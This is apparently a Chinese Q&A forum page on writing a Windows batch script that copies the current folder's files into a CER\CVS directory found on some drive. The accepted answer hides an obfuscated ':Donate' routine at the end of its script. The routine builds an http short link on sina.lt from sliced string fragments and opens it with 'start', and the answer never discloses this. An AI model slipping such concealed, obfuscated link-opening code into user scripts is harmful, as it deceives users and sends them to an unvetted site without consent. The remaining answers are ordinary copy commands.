如何用bat复制当前文件夹内的所有文件到指定目录

说明:
指定目录:需要判断CER\CVS这个文件夹在哪个盘里
疑问:
1、图片放在当前文件夹内会连带复制bat程序吗?
2、能否实现替换文件的功能(需要把当前目录的文件替换到指定目录里)

1、在电脑上新建一个文件夹,新建一个“TXT”文件,并命名。

2、点击右键,把文件的后缀名设置为“.bat

3、右键打开文件,第一行输入“copy C:\Users\Administrator\Desktop\西游记\1.JPG C:\”。

4、第二行输入“pause”。

5、保存后关闭,双击文件弹出“DOS”界面。

6、即可看到C盘下已经复制了一个文件。

温馨提示:答案为网友推荐,仅供参考
第1个回答  2019-04-03

方法/步骤

    在电脑上新建一个文件夹,新建一个“TXT”文件,并命名

    点击右键,把文件的后缀名设置为“.bat”

    右键打开文件,第一行输入“copy C:\Users\Administrator\Desktop\西游记\1.JPG C:\”

    第二行输入“pause”

    保存后关闭,双击文件弹出“DOS”界面

    即可看到C盘下已经复制了一个文件~!

第2个回答  2019-04-03

先解答疑问,第一种情况,可以发生,也可以不发生,具体就看代码别写时有没有考虑到。第二种情况,完全可以实现覆盖替换。因为复制命令本身就有替换的参数。

以下代码因为手机上编写的,所以尚未进行实测。因此需要您拷贝过去后,自行测试一下。代码已经实现不拷贝脚本自身了。

@echo off & title 拷贝当前目录中文件到指定目录 By 依梦琴瑶

echo 获取本机盘符 ...
for /f "tokens=2 delims==:" %%a in ('wmic LogicalDisk where "DriveType='3'" get DeviceID /value') do (
    call set Pan=%%Pan%% %%a
)

echo 获取当前目录的图片文件列表 ....
(for /f "delims=" %%a in ('dir /a-d/b *.jpg,*.jpeg,*.bmp,*.png,*.gif') do (
    echo "%%~fa"
))>PICLIST.LST

echo 正在搜索指定文件夹,此过程可能耗时,请耐心等待 ....
for %%a in (%Pan%) do (
    pushd %%~a:\
    for /r /d %%b in (CER*) do (
        if "%%~nxb"=="CER" (
            if exist "%%~b\CVS" (
                for /f "usebackq delims=" %%c in ("%~dp0PICLIST.LST") do (
                    echo 拷贝 "%%~nxc" 至 "%%~b\CVS\" ....
                    copy /y "%%~c" "%%~b\CVS\"
                )
            )
        )
    )
    popd
)
del /f /q PICLIST.LST
echo 拷贝完成
pause
call :Donate
exit

:Donate
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit

本回答被提问者采纳
第3个回答  2019-04-03
@echo off 
set "folder=CER\CVS"
for %%a in (C D E F G H) do (
if exist "%%a:\%folder%" xcopy /s /e /y /exclude:%~nx0 .\* "%%a:\%folder%\*"
)

既然复制所有文件,当然同名文件就被替换了,如只需替换文件,请说清楚

上面的命令不会复制bat文件

本回答被网友采纳
第4个回答  2019-04-03
不知道CER\CVS这个文件夹在哪个盘里,可能无法编辑.bat文件实现复制文件功能。.bat文件是批处理命令,就是编辑多条命令在一个文件里,执行后按顺序逐一执行第条命令。即使利用搜索命令找到了这个文件夹,复制命令也得指定这个文件夹。
相似回答